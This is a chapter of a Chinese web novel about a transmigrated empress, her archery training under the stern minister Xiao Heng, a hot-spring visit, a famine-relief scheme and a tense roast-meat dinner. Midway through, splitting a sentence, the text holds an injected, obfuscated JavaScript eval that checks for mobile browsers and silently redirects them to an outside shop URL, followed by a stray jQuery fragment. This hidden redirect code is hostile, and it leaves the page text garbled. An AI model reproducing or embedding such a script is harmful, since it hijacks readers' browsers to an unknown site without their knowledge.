文趣网 > 其他小说 > 权臣宰相要上位 > 10. 行宫温泉 闲室烤肉
    按着萧衡教给她的法子继续练了两三个时辰,刘月总算明白了些许门道,十二道箭矢,已能射中近半,虽然都在射侯最边缘。

    昨日下了场大雨,今日虽不见雨滴,但日头依旧隐在乌蒙的阴云中,空气闷热潮湿。

    她已练得气喘吁吁,腰酸胳膊软,背后都浸透了汗水,萧衡却依旧没有要结束的意思。

    “萧相。”刘月放下弓矢,揉了揉酸痛的手臂,故意放软了声道:“朕真的乏了,不如今日就到此为止吧……”

    萧衡望她一眼,不为所动:“继续,陛下如今这射技较之从前还差的远了,须得加紧追赶,今日没有日头,正是习射的好时机。”

    刘月确实已累到忍受不了,这幅身子原就瘦弱单薄,再加之前世她本人体育成绩极差,今日能练到现在已经到了她的极限。

    “冰冻三尺非一日之寒,无论什么事都得讲究循序渐进,今日朕确实已累到极致,明天再继续好不好?”

    萧衡却冷声回绝:“只有时间充足才能循序渐进,可现下还有一月就是中秋,到时射宴之上,群臣、外朝使者皆在,陛下若不将射技练得炉火纯青,丢的可是大曜皇室的脸面,前几日念及陛下落水身子尚需恢复,但拖到今日已是不能再拖了,必须刻苦追赶。”

    刘月垂眸咬唇,热意又涨上了脸颊,萧衡这话说的直白贴脸,如今她占着楚玉的身躯,一言一行皆是代表皇家脸面,平日里小打小闹疯言疯语几句就算了,皇家中秋宴这种大场面确实由不得她胡来。

    可心里虽然拎得清轻重急缓,做起来却是比登天还难,她真的连胳膊都快抬不起来了。

    想起前几日在政事堂,萧衡板着脸对她说日后要换着法辅佐她,不会就是借着教习之名想着法虐待折磨她吧……

    想到此,她没忍住恨恨咬牙:“说的冠冕堂皇,好像都是为我好,实际上看我精疲力尽大汗淋漓,低头在你面前恳求停下,你很开心吧……”

    “你说什么?”萧衡一道箭目射来。

    她说这话时声音极小,没想到萧衡还能听见,想起今日自凌晨三四点便起来,一刻没停,午觉没睡就被他强行拉来了射场,练到现在气力耗尽眼冒金星也不能停下,这强度倒是比前世接连加班好几天还累,于是怨气又蹭地冒了上来,挡都挡不住。

    “我说,你就是在借着让我变强的名义,折磨我羞辱我,皇帝都在你面前狼狈不堪低声下气,你一定觉得很爽吧?你这个变态!”

    说完刘月还不觉得解气,狠狠扔下箭矢就要越过他强行离开这里。

    周围内侍闻之纷纷下跪。

    萧衡伸手,一把将她拦了回来,轻而易举将她提到了后面的御座。

    “本朝太祖马背上定天下,武艺超凡骑射无双,方一统中原,建下大业。”萧衡这次却是意外地没被刘月惹恼,只紧盯她微红的双眸,沉着声一字一言,“陛下年幼气性不稳,我只有一言告之,唯有敌人才会希望你柔弱无知。”

    刘月怔住,错开目光,她没想到萧衡这次竟然没有生气,而是坐下来与她平和相谈,这下倒是搞得她像在无理取闹。

    “来吧,莫要使小性子了。”萧衡起身,淡漠地望了一眼远方天际,“唯有努力变强才能使自己不陷于绝地,再练一个时辰,我带陛下去个好地方。”

    一个时辰后,一辆软舆疾驰在御道之上,行至数里,来到依山傍水的一处行宫别苑。

    刘月掀开帷帐,下来舆车,萧衡亦跟着翻身下马,只见此处山林清幽,隔绝民间,古松、竹夹道,殿宇顺着山势层层抬升,山泉细渠绕梁,是块别致的风水宝地。

    “这是……”刘月站在外围圈着的高厚缭墙,看看门口的禁军守御,又看向萧衡。

    萧衡不说话,只从腰间掏出一块银牌,两旁守立的御卫便缓缓推开了石门。

    萧衡带她穿过前殿,经过两折游廊,层层纱幔轻垂,隔绝了外头的风色喧嚣,暖意扑面而来,内殿正中嵌着两方青石汤池,屏扇相隔,温热的水汽袅袅升腾,漫满整座殿宇。

    “是温泉!”刘月欢欣说道,不多时又有几位窈窕侍女上前,为二人脱衣解发。

    刘月顿觉不好意思,萧衡倒是自觉,兀自走向了另外一方清池,二人隔着屏扇,各自泡在温池汤水中。

    侍女又端来点心蔬果置于岸旁,拿起一颗晶莹剔透的葡萄,剥去外皮,俯跪下身子,轻手轻脚地往刘月嘴中送。

    刘月张嘴接住,果粒瞬时在口中爆汁,清甜爽口,她全身至上而下都被温热的泉水包裹,只觉从头到脚舒畅温暖,惬意极了。

    侍女喂她吃了几颗果子,又为她推肩按摩,原本酸痛不已的臂膀被热泉浸润手指揉捏,一身的倦意懈怠顿时烟消云散。

    刘月眯起眼,发出一声舒服的喟叹,心道这才是她想要的帝王生活,好吃好喝,被人伺候,纵情享乐。

    屏风后似乎响起一声极轻的笑声,萧衡的声音缓缓传入耳膜,“这是山间自然而成的温泉,陛下可觉得舒服?”

    刘月点头:“舒服极了。”

    二人一时无话,殿内只余泉水汩汩流动的水声,刘月睁开双眼,心神微漾,不知萧衡突然带她来这行宫泡温泉是什么意思。

    一巴掌一颗糖?给她刻苦练习的慰劳奖励?不过转念又一想,这本来就是皇家行宫,萧衡能跟着蹭来,应是她奖励他才对。

    稍后侍女纷纷退去,殿内只余二人。

    凉风卷起帷帐,气氛略微尴尬,刘月想着说些什么,正欲开口,却听萧衡道:“请陛下说说今日早朝为何要荐林茂竹去青州赈灾?”

    这话正中她心口,她本来就打算与萧衡商讨此事,于是忙道:“林茂竹此人虽形色看上去颇不正经,但他有一腔为官的热情而又心系民生。”

    “荒谬。”萧衡低声斥道,“赈灾岂是儿戏,光有一腔热忱而没有为官做事的经验,如何成事。”

    刘月道:“此言差矣,热忱反而是成事的最好动力,你说的经验老道固然重要,但是这种人最容易变成混世蹉跎的老油条,放在中枢可以,下放出去做事不行。”

    见萧衡没答话,刘月身子略微下浮,眸眼微闭,感受着潺潺温水拂过自己的身躯,继续道:“你所担心的无非就是他年轻没履历,怕他镇不住场子做不来事而已,这些我亦有考虑,所以直接给他支了个法子。”

    “哦?”萧衡似乎来了兴趣,“什么法子。”

    “我告诉他,去到青州的第一件事就是关闭粮仓并趁着中秋佳节即将到来在民间大兴文娱活动,将粮价升为一百五十文一斗,并在全城四处张贴粮价升涨的通告……”

    “胡闹!”萧衡打断他,声音微带愠怒。

    “你先听我说完。”刘月忙应声道,“一味开仓放粮虽微有成效,但治本不治标,不如反其道而行剑走偏锋试上一试。现下灾民众多,粮食又短缺严重,那些个奸商都将粮价抬高到一百了,我让林茂竹如此做,商人见此定会疯狂从外地运粮到青州售卖意图大赚一笔,到时粮食堆叠如山,再开放粮仓以二十的价格抛售,粮价暴跌,粮商陷入困境,只能跟着降价抛售。”

    “粮食一旦运去青州,停靠在码头,商人哪怕意识到不对也不会再运走粮食,一来漕运费用昂贵,二来粮食来回折腾还会有霉变折损,为了不亏本金他们也只能硬着头皮在青州当地随市价抛售了。”

    “至于大兴文娱活动……”刘月笑了笑,“越是灾荒年越需要富豪官员们消费,只有这样才能给灾民们提供糊口的活计,比如趁着中秋在瓦舍酒楼兴师动众地来场蹴鞠比赛,周边街巷人流攒动,百姓贩卖蔬果小食的摊位还愁没有收入吗?”

    一通话说完,刘月觉得有些热了,将满头垂落的青丝尽数撩起放至池岸上,细润白皙的手臂伸出池水,一连剥了好几颗饱满的果子往嘴里放。

    萧衡却是静了半晌没说话,良久才道:“这是陛下想的法子吗?”

    刘月顿了顿,道:“如果我说这是某个仙人托梦告诉我的你会相信吗?”

    这是北宋文学、政治大家范仲淹赈灾救民的法子,所以她极力推荐林茂竹去青

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905404|213009||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    州赈灾,一是青州乃他故乡,系统又鉴定他确怀有一颗赤诚之心,既如此定会竭尽全力在青州做事,二是有范仲淹这个法子的金手指,还能怕灾情不止?这第三嘛……算是她个人的一点私心,林茂竹对这幅身子的原主既然并非真心,那放在后宫也没什么用处。

    萧衡又不答话,屏风后却传来水波涌动的声响,刘月侧眸望去,屏身隐隐绰绰映照出一个男人健壮威武的高大黑影,原来萧衡已从温池上岸,正在穿衣束带。

    刘月忙不迭移开目光。

    “我先去后殿休整。”萧衡道,“陛下若泡够了可唤侍女进来伺候更衣。”

    话毕,帷帐浮动,整个汤殿又只余她一人。

    她长叹了口气,在氤氲的热气中自怨自艾,原以为穿成女帝,每天锦衣玉食,不用为生活奔波操劳的日子很美满,可如今事事居于人下,受制他人的感觉竟又让她觉得窝囊不堪,想要逃离。

    日落西山,雨终于噼里啪啦落了下来,闷热一扫而空,刘月沐浴完毕,出来长吸了口山间空气,顿觉心旷神怡。

    她披着垂到腰际的长发,套了件宽松的天青色长袍,往后殿走去,还在回廊奔走时,便闻到一股浓郁的烤肉香味,勾得她食指大动垂涎不已。

    好香!

    她暗道,不觉加快脚步。

    到得后殿,只见闲室窗棂半敞着,一架铜风炉置在室内,炉内燃着银霜炭,泛着融融微火,萧衡正坐在炉旁,手中捏着长签,在铜格上翻滚炙烤,点点油脂滴落在炭火上,爆发出滋啦滋啦的声响,混着诱人喷香的肉味,刘月不禁滚了滚喉头。

    “来。”萧衡只披了件松垮的雪白单衣,乌发半散,头也未抬,专心致志地摆弄着手上动作,“侍卫们上午在山里猎的野兔。”

    刘月走近,在铜炉另一侧的矮褥子上坐下,透过泛起的阵阵青烟去看萧衡,见萧衡眉眼微敛,薄唇紧抿,两缕细发随意散下,胸前衣领微敞,内里肌肉厚实健硕,隐在低垂晃荡的交领下喷薄愈发。

    他在宫中多是着紫色官袍、戴幞头,严肃而正经,这是第一次见他这般随性恣意的打扮,倒是颇有些浪荡不羁的洒脱之风。

    “这是什么?”刘月目光看向旁侧矮案玉盘里叠放的数片翠绿圆大的叶子。

    “杜衡,也叫杜若。”萧衡将烤熟的肉团从银签上熟练剔下,盛在青瓷碟中,推到刘月跟前,“在外行军打仗不免要在野外扎营,便就地摘了捣成腌汁,可以给肉去腥增香。”

    刘月点点头,夹起一块烤得滋香冒油的肉团放进嘴里,滑嫩汁水瞬间迸发在口中,肉质细嫩鲜美,带着股淡淡的青气,味道还挺独特。

    “吃得惯吗?”萧衡问她。

    “还成。”刘月又夹了块肉放进嘴里。

    萧衡胸腔微震,发出一声极轻的笑声,“陛下从前最不喜荤腥,尤其不爱烤肉,有时候臣都有些恍惚,陛下是不是换人了。”

    刘月咀嚼的动作微顿,囫囵咽下嘴里的肉沫,抬眼望他,扯着嘴角,“人的口味是会随年龄变化的。”说罢她盯着融融燃烧的炭火,又补充道:“性情也会。”

    萧衡停下手中动作,亦抬眸和她相视,黑眸中簇着微小晃荡的红光和她清丽的面容倒影。

    刘月总有一种感觉,他的眸光好似能透过楚玉的皮骨渗入灵魂,将她探究审查,从头至脚,深入骨髓。

    他意味不明地勾起嘴角,声线低沉,“也是,只要楚曜皇室血脉还在,正统就在,就算陛下变了,也无伤大雅。”

    刘月顿从这话里嗅出一丝危险的味道,是她表现的太过了吗?萧衡觉察到了不对劲?

    她似是而非,咬牙试探:“既如此,你……应该不会杀了我吧?”

    “不会。”

    再次得到萧衡这样的回答,刘月立即在脑海里呼唤系统:快出来,帮我判定,眼前人的这句话有没有在说谎!

    【抱歉,眼前人城府太深,系统无法看出门道,请宿主自行评判】

    “??”

    这啥鬼系统啊,她要投诉!